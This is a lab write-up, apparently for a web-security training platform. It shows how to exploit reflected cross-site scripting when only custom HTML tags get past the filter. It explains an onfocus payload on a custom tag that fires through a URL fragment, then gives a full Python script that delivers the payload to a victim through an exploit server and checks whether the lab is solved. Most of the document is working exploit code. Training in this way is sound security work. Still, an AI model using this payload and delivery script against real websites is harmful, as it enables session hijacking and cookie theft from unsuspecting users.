XSS Lab 15
Exploiting reflected XSS when all HTML tags are blocked except custom ones
Reflected XSS into HTML context with all tags blocked except custom ones#
This lab demonstrates an XSS scenario where all standard HTML tags are blocked, but custom (non-standard) tags are allowed.
By injecting a custom tag with an onfocus event handler, we can trigger JavaScript execution.
The exploit leverages the browser focusing on the element via a hash fragment to execute the payload automatically.
How Exploit Works#
- Normal HTML tags (
<script>,<img>, etc.) are blocked by server-side filtering. - Custom tags (like
<xss>) are still allowed and can hold event handlers. - We inject:
html<xss id=x onfocus=alert(document.cookie) tabindex=1> - A hash (
#x) in the URL ensures the browser auto-focuses the element, triggering the alert. - The script stores and delivers the payload via the exploit server.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.netcmdExploit#
exploit.py
import sys, time, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def check_burp():
try:
requests.get("http://127.0.0.1:8080", timeout=3)
except requests.exceptions.RequestException:
print("[-] Start Burp (127.0.0.1:8080) and rerun"); sys.exit(1)
def deliver(exploit_server, lab_url):
head = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8"
payload = "<script>location = '{}/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';</script>".format(lab_url)
data = {"responseBody": payload, "responseHead": head, "formAction":"DELIVER_TO_VICTIM",
"urlIsHttps":"on","responseFile":"/exploit"}
try:
r = requests.post(exploit_server, data=data, verify=False, proxies=proxies, timeout=10)
r.raise_for_status()
return True
except requests.exceptions.RequestException:
return False
def check_solved(lab_url, tries=5, wait=2):
s = requests.Session()
for _ in range(tries):
try:
r = s.get(lab_url, verify=False, proxies=proxies, timeout=10)
if "Congratulations" in r.text or "Solved" in r.text:
return True
except requests.exceptions.RequestException:
pass
time.sleep(wait)
return False
if __name__ == "__main__":
if not (2 <= len(sys.argv) <= 3):
print(f"Usage: python {sys.argv[0]} <lab-url> [exploit-server]"); sys.exit(1)
lab = sys.argv[1].rstrip('/')
if len(sys.argv) == 3:
exploit = sys.argv[2].rstrip('/')
else:
print("Exploit server not provided; exiting.")
sys.exit(1)
check_burp()
print(f"[*] Lab URL: {lab}")
print(f"[*] Exploit Server: {exploit}/")
print("[*] Delivering the exploit to the victim.. ", end="", flush=True)
if deliver(exploit, lab):
print("[+] OK")
else:
print("[-] Delivery failed"); sys.exit(1)
print("[*] Waiting a moment for the exploit to be delivered and triggered...")
if check_solved(lab, tries=6, wait=2):
print("[+] Lab solved 🎉")
else:
print("[-] Lab not confirmed as solved")python